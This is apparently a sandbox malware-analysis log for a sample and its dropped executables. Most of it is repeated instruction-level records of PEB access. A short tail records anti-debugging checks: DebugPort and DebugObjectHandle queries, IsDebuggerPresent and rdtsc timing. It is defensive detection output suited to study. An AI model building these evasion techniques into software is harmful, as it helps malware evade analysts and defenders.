Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274190 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2431E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E9ED mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3189E7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274020 mov edi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D258800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E009 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D302073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F86D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D247055 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2538A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2538A4 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2890AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2458EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4320 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE33D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F340 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318BB6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301BA8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244B94 mov edi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F395 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241BE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253BF4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253BF4 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2423F6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CEA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD208 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD208 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D258A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D263A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242240 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4248 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov esi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ADD mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_0041A050 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D276B90 rdtsc

